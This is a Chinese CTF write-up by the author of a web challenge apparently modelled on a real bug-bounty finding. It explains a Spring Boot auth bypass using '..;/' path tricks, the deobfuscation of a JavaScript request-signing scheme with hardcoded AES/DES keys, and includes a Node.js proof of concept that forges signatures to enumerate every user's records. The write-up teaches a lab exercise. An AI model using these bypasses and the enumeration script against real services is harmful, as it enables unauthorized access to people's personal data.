之前给移动大比武出的一道数据安全方向的web题,思路是之前挖的一个src的洞,差不多一比一的简化下来了,挺好玩的一个洞。不打比赛以后有段纯gap的时间,给各种各样的比赛出了好多次题,个人觉得出题一定要贴近实战,或者跟安全研究有联系,一定要让人学到东西不要有脑洞题,不然浪费别人时间是会被骂的。
解题思路
题目名称:数据⽆价 2.0
题⽬描述:请获取所有⼈的数据
考点:
1.数据安全
2.js 反混淆与动态调试
3.java 鉴权绕过
4.业务逻辑
5.nodejs
思路-1
访问 URL,默认为登录⻚⾯:

点击注册:

注册⽤户时发现,仅仅可注册普通⽤户,管理员⽤户不可注册,如图:


尝试绕过/admin/register 路由鉴权,利⽤⾼低版本 spring-boot 对../的不同处理结合 java 的经典权限绕过
⽅式,进⾏绕过。使⽤https://github.com/wa1ki0g/NoAuth 进⾏ fuzz,⼿动测试也可

发现多个 405 ⽅法,405 代表有权限只是没参数:

随便选择⼀种⽅式进⾏绕过,成功绕过:

登录后,提示要使⽤身份证进⾏查询,在管理员查询接⼝输⼊我们注册时使⽤的身份证号进⾏抓包:

发现分别对/getid/15212220010521091,/admin/select 发送了请求,分析可发现,先是通
过/getid/$number 得到⽤户 id,再通过/admin/select 得到数据:


我们这⾥尝试遍历 id,来获取其他⽤户的数据,发现做了签名校验:

分析 js,全局搜索 sign 关键字发现⼀处可疑地点:

对此函数设置断点,找⼀下⽤来加密的 js ⽂件:

跟进函数发现,是在 hook.js 中,同时发现 hook.js 的代码做了混淆:

通过断点⼀点点的跟,代码很短,所以很容易就会发现算法为:base64+aes(key 为1234567890123456)+hex+des(key 为12345678’);

可以还原⼀下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function generateSign(id) { const base64Encoded = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(id)); const aesKey = CryptoJS.enc.Utf8.parse('1234567890123456'); const aesEncrypted = CryptoJS.AES.encrypt(base64Encoded, aesKey, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }).toString();
const hexEncoded = CryptoJS.enc.Hex.stringify(CryptoJS.enc.Base64.parse(aesEncrypte d));
const desKey = CryptoJS.enc.Utf8.parse('12345678'); const desEncrypted = CryptoJS.DES.encrypt(hexEncoded, desKey, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }).toString(); return desEncrypted; }
|
得到算法与 key 后,开始编写 poc,这⾥为了多点⼈做出来所以⽤户数据量很少,所以就很多⽅法,⽐如直接通过控制台去调这个函数,或者改返回包直接通过本地 js 去⾃动加密。
编写 poc:nodejs 写的,因为算法稍微有点复杂,试了其他⼏个语⾔,⽤了同样的算法,可能是默认 iv 的事,有的加密出的数据不⼀样,需要微调下,这⾥图⽅便直接⽤ nodejs 写了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| const CryptoJS = require('crypto-js') const axios = require('axios'); function generateSign(id) { const base64Encoded = CryptoJS.enc.Base64.stringify(CryptoJS.enc.Utf8.parse(id)); const aesKey = CryptoJS.enc.Utf8.parse('1234567890123456'); const aesEncrypted = CryptoJS.AES.encrypt(base64Encoded, aesKey, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }).toString(); const hexEncoded = CryptoJS.enc.Hex.stringify(CryptoJS.enc.Base64.parse(aesEncrypte d)); const desKey = CryptoJS.enc.Utf8.parse('12345678'); const desEncrypted = CryptoJS.DES.encrypt(hexEncoded, desKey, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }).toString(); return desEncrypted }
async function sendAllRequests() { for (let id = 1; id <= 30; id++) { try { await sendRequest(id); } catch (error) { console.error(`Error sending request for ID ${id}:`, error); } } } async function sendRequest(id) { const sign = generateSign(id); const payload = { id: id.toString(), sign: sign }; try { const response = await axios.post('http://192.168.238.250:8080/admin/select', p ayload, { headers: { 'Content-Type': 'application/json', 'Cookie': 'Authorization=Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiLlvKDkuI nkuowiLCJwaG9uZSI6IjE1MTQ5MDIyMTkyIiwiZXhwIjoxNzIzODI0NTY5fQ.c2tCjgtkFQ6IatQz-eOjt0TM1L foH6L7EkuZb1XMl1Q' } }); console.log(`Response for ID ${id}:`, response.data); } catch (error) { } } sendAllRequests();
|
成功拿到 flag:

思路-2
普通⽤户注册登录,然后利⽤/user/select/..;/..;/admin/select,越权到/admin/select 接⼝
/admin/select 接⼝与/admin/register 权限设置不⼀样,/admin/register 可⽆权限—>admin 权限
但/admin/select 接⼝只能 user 权限—>admin 权限,剩下同上
这道题是之前挖 src 的时候实际碰⻅的⼀种情况,差不多⼀⽐⼀的复刻了下,逻辑漏洞的表现形式:⼤家对于 java 框架中想到绕过鉴权的时候⼤部分都是⽆权限→⾼权限,不怎么关注低权限→⾼权限